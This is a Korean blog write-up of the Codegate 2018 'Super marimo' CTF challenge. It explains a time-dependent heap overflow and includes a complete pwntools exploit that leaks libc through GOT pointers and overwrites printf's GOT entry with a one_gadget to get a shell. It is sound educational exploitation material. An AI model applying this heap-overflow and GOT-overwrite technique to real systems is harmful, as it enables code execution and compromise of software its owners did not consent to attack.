Codegate 2018 Super marimo 라는 문제임니다. 우선, 문제를 적당히 파악해 봅시다.
포인터를 이용해 참조하는 부분은, 좀 더 편히 보기 위해 적당한 구조체를 만들어 연결해줍시다.
대충 위와 같이, 전보다는 보기 편해졌습니다.
이제 적당히 분석을 시작합니닿.
정말로 적당히 분석해보면, 저기 28번째 줄에서 취약점을 발견하실 수 있습니다. 이해가 쏙쏙 되도록 적당한 예를 하나 들어봅시닿
위의 그림은 이름은 각 각 "AAAAA...", "BBBBBB..."이고, profile은 둘 모두 "0000000.." 인 marimo를 "show me the marimo"라는 치트를 통해 만들었을 때의 힙 영역을 나타낸 것임니다.
위와 같은 상황에서 만약, 첫 번째 marimo의 profile을 만약 32바이트보다 더 쓸 수 있다면, 뒤의 marimo가 가지고 있는 포인터들을 덮어, 좋은 곳(?)에 사용할 수 있을 것 같습니다.(엄지척)
그런데 28번째 줄을 보면, 만약 profile을 수정할 때 v3가 만약 1보다 큰 상태라면, 기존에 profile이 할당받은 32바이트의 공간 뿐만 아니라 그 너머까지 쓸 수 있는 힙 오버플로우가 발생할 수 있습니다.
여기서 v3은 (수정을 하는 현재 시각) - (만들어진 시각) + 1 이므로, sleep을 이용하여 적당한 시간을 보낸 후, 수정을 한다면 위와 같이 다음 chunk를 덮어쓸 수 있습네요!
으하하 이제 좋은 일(?)을 할 수 있을 것 같으니! 쭈압쭈압해서 시나리오를 짜봅시닿!
1. 치트를 이용하여 두 개의 marimo를 heap 영역에 할당한 다음에,
2. sleep을 이용해서 적당한 시간을 보내고,
3. View 기능의 Modify를 통해, 첫 번째 marimo의 profile을 적당히 덮어서, 두 번째, marimo의 name과 profile에 각 각 strcmp의 got와 printf의 got를 덮어줍시닿.
4. 그런 뒤에, 이번에는 두 번째 marimo에 View 기능을 써서, name에서 흘러나오는 strcmp 함수의 실제 주소를 구하고, 또 이를 통해서 libc base를 구해줍니닿.
5. 마지막으로 Modify 기능을 통해, printf의 got를, libc base를 구해내어 이제는 알 수 있는 one_gadget의 주소로 덮어주면 끝입니다!
계획대로 잘 덮어주셨다면, 위와 같이 printf의 got에서 one_gadget을 발견하실 수 있읍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | from pwn import * #r = remote('ch41l3ng3s.codegate.kr',3333) r = process('./marimo') def cheet(name): r.recvuntil(">> ") #category r.sendline("show me the marimo") r.recvuntil(">> ") #name r.sendline(name) r.recvuntil(">> ") #profile r.sendline("0"*32) def modify(num, content): r.recvuntil(">> ") #category r.sendline("V") r.recvuntil(">> ") #select r.sendline(str(num)) r.recvuntil(">> ") #M / B r.sendline("M") r.recvuntil(">> ") #new profile r.sendline(content) r.recvuntil(">> ") #M / B r.sendline("B") def View(num): r.recvuntil(">> ") r.sendline("V") r.recvuntil(">> ") #select r.sendline(str(num)) ######## memory leak ######## printf_got = 0x603028 strcmp_got = 0x603040 #malloc_got = 0x603050 cheet("A"*16) cheet("B"*16) payload1 = "" payload1 += "\x00"*0x38 payload1 += p64(strcmp_got) payload1 += p64(printf_got) #payload1 += p64(21) raw_input("### Start! ###") sleep(3) modify(0, payload1) raw_input("### memory leak! ###") View(1) r.recvuntil("name : ") leak = r.recv(6) strcmp_addr = u64(leak[0:6].ljust(8,'\x00')) libc = strcmp_addr - 652656 one_gadget = libc + 0x45216 #malloc_hook = libc + 3951376 success("strcmp address = " + hex(strcmp_addr)) success("libc base = " + hex(libc)) ######## overwrite got ######### # __malloc_hook = printf_addr + 3597312 # malloc_addr = libc + 4079360 raw_input("### got overwrite! ###") r.recvuntil(">> ") r.sendline("M") r.recvuntil(">> ") #new profile r.sendline(p64(one_gadget)) r.interactive() #r.recvuntil("[M]odify / [B]ack ?") #r.recv(2) #M / B #r.sendline("B") # raw_input(">>>>>>>") # r.recvuntil(">>") # r.sendline("show me the marimo") # r.recvuntil(">> ") #name # r.sendline("AA") # r.recvuntil(">> ") #profile # r.sendline("BB") | cs |
[+] 시간 오래 걸린 곳
처음에 strcmp의 주소가 아니라 printf의 주소를 이용해서 libc base를 구하려고 했는데, printf의 주소가 \x00 이 있어서...허흑 %s로 출력이 다 안된다.
strcmp 의 got에 있는 주소는 p strcmp 해서 나오는 <strcmp>랑 다르다. 우분투 16에서는 <__str_see2_unaligned> 였고, 14에서는 <__strcmp_ssse3> 였다. 라이브러리 차이인 것 같다.
* 처음에 printf의 got가 아니라 malloc의 got를 one_gadget으로 덮으려고 했었다. 근데 malloc의 got를 덮으니 이유는 모르겠는데 interactive가 안되고 바로 EOF가 뜬다. 제일 오래 걸렷다.
'Write-up' 카테고리의 다른 글
[Harekaze CTF 2018] Flea attack writeup v2 (0) | 2018.02.27 |
---|---|
[Harekaze CTF 2018] Flea attack writeup v1 (0) | 2018.02.26 |
[Harekaze CTF 2018] Lost_data writeup (0) | 2018.02.12 |
[Harekaze CTF 2018] Harekaze Farm writeup (0) | 2018.02.12 |
[CODEGATE 2018] BaskinRobins31 write-up (0) | 2018.02.06 |